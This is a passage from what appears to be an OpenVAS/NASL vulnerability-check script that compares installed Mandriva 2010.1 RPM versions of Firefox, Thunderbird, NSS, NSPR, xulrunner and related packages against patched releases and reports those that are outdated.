rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox\", rpm:\"firefox~3.6.16~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-af\", rpm:\"firefox-af~3.6.16~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-ar\", rpm:\"firefox-ar~3.6.16~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-be\", rpm:\"firefox-be~3.6.16~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-bg\", rpm:\"firefox-bg~3.6.16~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-bn\", rpm:\"firefox-bn~3.6.16~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-ca\", rpm:\"firefox-ca~3.6.16~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-cs\", rpm:\"firefox-cs~3.6.16~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-cy\", rpm:\"firefox-cy~3.6.16~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-da\", rpm:\"firefox-da~3.6.16~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-de\", rpm:\"firefox-de~3.6.16~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-devel\", rpm:\"firefox-devel~3.6.16~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-el\", rpm:\"firefox-el~3.6.16~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-en_GB\", rpm:\"firefox-en_GB~3.6.16~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-eo\", rpm:\"firefox-eo~3.6.16~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-es_AR\", rpm:\"firefox-es_AR~3.6.16~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-es_ES\", rpm:\"firefox-es_ES~3.6.16~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-et\", rpm:\"firefox-et~3.6.16~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-eu\", rpm:\"firefox-eu~3.6.16~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-ext-beagle\", rpm:\"firefox-ext-beagle~0.3.9~40.13mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-ext-blogrovr\", rpm:\"firefox-ext-blogrovr~1.1.804~13.10mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-ext-mozvoikko\", rpm:\"firefox-ext-mozvoikko~1.0.1~2.10mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-ext-r-kiosk\", rpm:\"firefox-ext-r-kiosk~0.8.1~2.10mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-ext-scribefire\", rpm:\"firefox-ext-scribefire~3.5.2~2.10mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-ext-weave-sync\", rpm:\"firefox-ext-weave-sync~1.1~5.10mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-ext-xmarks\", rpm:\"firefox-ext-xmarks~3.6.14~2.10mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-fi\", rpm:\"firefox-fi~3.6.16~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-fr\", rpm:\"firefox-fr~3.6.16~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-fy\", rpm:\"firefox-fy~3.6.16~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-ga_IE\", rpm:\"firefox-ga_IE~3.6.16~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-gl\", rpm:\"firefox-gl~3.6.16~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-gu_IN\", rpm:\"firefox-gu_IN~3.6.16~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-he\", rpm:\"firefox-he~3.6.16~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-hi\", rpm:\"firefox-hi~3.6.16~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-hu\", rpm:\"firefox-hu~3.6.16~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-id\", rpm:\"firefox-id~3.6.16~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-is\", rpm:\"firefox-is~3.6.16~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-it\", rpm:\"firefox-it~3.6.16~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-ja\", rpm:\"firefox-ja~3.6.16~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-ka\", rpm:\"firefox-ka~3.6.16~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-kn\", rpm:\"firefox-kn~3.6.16~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-ko\", rpm:\"firefox-ko~3.6.16~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-ku\", rpm:\"firefox-ku~3.6.16~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-lt\", rpm:\"firefox-lt~3.6.16~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-lv\", rpm:\"firefox-lv~3.6.16~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-mk\", rpm:\"firefox-mk~3.6.16~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-mr\", rpm:\"firefox-mr~3.6.16~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-nb_NO\", rpm:\"firefox-nb_NO~3.6.16~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-nl\", rpm:\"firefox-nl~3.6.16~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-nn_NO\", rpm:\"firefox-nn_NO~3.6.16~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-oc\", rpm:\"firefox-oc~3.6.16~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-pa_IN\", rpm:\"firefox-pa_IN~3.6.16~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-pl\", rpm:\"firefox-pl~3.6.16~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-pt_BR\", rpm:\"firefox-pt_BR~3.6.16~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-pt_PT\", rpm:\"firefox-pt_PT~3.6.16~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-ro\", rpm:\"firefox-ro~3.6.16~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-ru\", rpm:\"firefox-ru~3.6.16~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-si\", rpm:\"firefox-si~3.6.16~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-sk\", rpm:\"firefox-sk~3.6.16~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-sl\", rpm:\"firefox-sl~3.6.16~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-sq\", rpm:\"firefox-sq~3.6.16~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-sr\", rpm:\"firefox-sr~3.6.16~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-sv_SE\", rpm:\"firefox-sv_SE~3.6.16~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-te\", rpm:\"firefox-te~3.6.16~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-th\", rpm:\"firefox-th~3.6.16~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-tr\", rpm:\"firefox-tr~3.6.16~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-uk\", rpm:\"firefox-uk~3.6.16~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-zh_CN\", rpm:\"firefox-zh_CN~3.6.16~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-zh_TW\", rpm:\"firefox-zh_TW~3.6.16~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"gjs\", rpm:\"gjs~0.6~4.10mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"gnome-python-extras\", rpm:\"gnome-python-extras~2.25.3~18.10mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"gnome-python-gda\", rpm:\"gnome-python-gda~2.25.3~18.10mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"gnome-python-gda-devel\", rpm:\"gnome-python-gda-devel~2.25.3~18.10mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"gnome-python-gdl\", rpm:\"gnome-python-gdl~2.25.3~18.10mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"gnome-python-gtkhtml2\", rpm:\"gnome-python-gtkhtml2~2.25.3~18.10mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"gnome-python-gtkmozembed\", rpm:\"gnome-python-gtkmozembed~2.25.3~18.10mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"gnome-python-gtkspell\", rpm:\"gnome-python-gtkspell~2.25.3~18.10mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"libgjs0\", rpm:\"libgjs0~0.6~4.10mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"libgjs-devel\", rpm:\"libgjs-devel~0.6~4.10mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"libnspr4\", rpm:\"libnspr4~4.8.7~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"libnspr-devel\", rpm:\"libnspr-devel~4.8.7~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"libnss3\", rpm:\"libnss3~3.12.9~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"libnss-devel\", rpm:\"libnss-devel~3.12.9~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"libnss-static-devel\", rpm:\"libnss-static-devel~3.12.9~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"libxulrunner1.9.2.16\", rpm:\"libxulrunner1.9.2.16~1.9.2.16~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"libxulrunner-devel\", rpm:\"libxulrunner-devel~1.9.2.16~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird\", rpm:\"mozilla-thunderbird~3.1.9~0.2mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-beagle\", rpm:\"mozilla-thunderbird-beagle~0.3.9~40.13mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail\", rpm:\"mozilla-thunderbird-enigmail~3.1.9~0.2mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-ar\", rpm:\"mozilla-thunderbird-enigmail-ar~3.1.9~0.2mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-ca\", rpm:\"mozilla-thunderbird-enigmail-ca~3.1.9~0.2mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-cs\", rpm:\"mozilla-thunderbird-enigmail-cs~3.1.9~0.2mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-de\", rpm:\"mozilla-thunderbird-enigmail-de~3.1.9~0.2mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-el\", rpm:\"mozilla-thunderbird-enigmail-el~3.1.9~0.2mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-es\", rpm:\"mozilla-thunderbird-enigmail-es~3.1.9~0.2mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-fi\", rpm:\"mozilla-thunderbird-enigmail-fi~3.1.9~0.2mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-fr\", rpm:\"mozilla-thunderbird-enigmail-fr~3.1.9~0.2mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-hu\", rpm:\"mozilla-thunderbird-enigmail-hu~3.1.9~0.2mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-it\", rpm:\"mozilla-thunderbird-enigmail-it~3.1.9~0.2mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-ja\", rpm:\"mozilla-thunderbird-enigmail-ja~3.1.9~0.2mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-ko\", rpm:\"mozilla-thunderbird-enigmail-ko~3.1.9~0.2mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-nb\", rpm:\"mozilla-thunderbird-enigmail-nb~3.1.9~0.2mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-nl\", rpm:\"mozilla-thunderbird-enigmail-nl~3.1.9~0.2mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-pl\", rpm:\"mozilla-thunderbird-enigmail-pl~3.1.9~0.2mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-pt\", rpm:\"mozilla-thunderbird-enigmail-pt~3.1.9~0.2mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-pt_BR\", rpm:\"mozilla-thunderbird-enigmail-pt_BR~3.1.9~0.2mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-ru\", rpm:\"mozilla-thunderbird-enigmail-ru~3.1.9~0.2mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-sl\", rpm:\"mozilla-thunderbird-enigmail-sl~3.1.9~0.2mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-sv\", rpm:\"mozilla-thunderbird-enigmail-sv~3.1.9~0.2mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-tr\", rpm:\"mozilla-thunderbird-enigmail-tr~3.1.9~0.2mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-vi\", rpm:\"mozilla-thunderbird-enigmail-vi~3.1.9~0.2mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-zh_CN\", rpm:\"mozilla-thunderbird-enigmail-zh_CN~3.1.9~0.2mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-zh_TW\", rpm:\"mozilla-thunderbird-enigmail-zh_TW~3.1.9~0.2mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-lightning\", rpm:\"mozilla-thunderbird-lightning~3.1.9~0.2mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"nsinstall\", rpm:\"nsinstall~3.1.9~0.2mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"nss\", rpm:\"nss~3.12.9~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"rootcerts\", rpm:\"rootcerts~20110323.00~1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"rootcerts-java\", rpm:\"rootcerts-java~20110323.00~1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"xulrunner\", rpm:\"xulrunner~1.9.2.16~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"yelp\", rpm:\"yelp~2.30.1~4.10mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-l10n\", rpm:\"firefox-l10n~3.6.16~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"nspr\", rpm:\"nspr~4.8.7~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"lib64gjs0\", rpm:\"lib64gjs0~0.6~4.10mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"lib64gjs-devel\", rpm:\"lib64gjs-devel~0.6~4.10mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"lib64nspr4\", rpm:\"lib64nspr4~4.8.7~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"lib64nspr-devel\", rpm:\"lib64nspr-devel~4.8.7~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"lib64nss3\", rpm:\"lib64nss3~3.12.9~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"lib64nss-devel\", rpm:\"lib64nss-devel~3.12.9~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"lib64nss-static-devel\", rpm:\"lib64nss-static-devel~3.12.9~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"lib64xulrunner1.9.2.16\", rpm:\"lib64xulrunner1.9.2.16~1.9.2.16~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"lib64xulrunner-devel\", rpm:\"lib64xulrunner-devel~1.9.2.16~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if (__pkg_match) exit(99);\n exit(0);\n}\n\n\nif(release == \"MNDK_2010.0\")\n{\n\n if ((res = 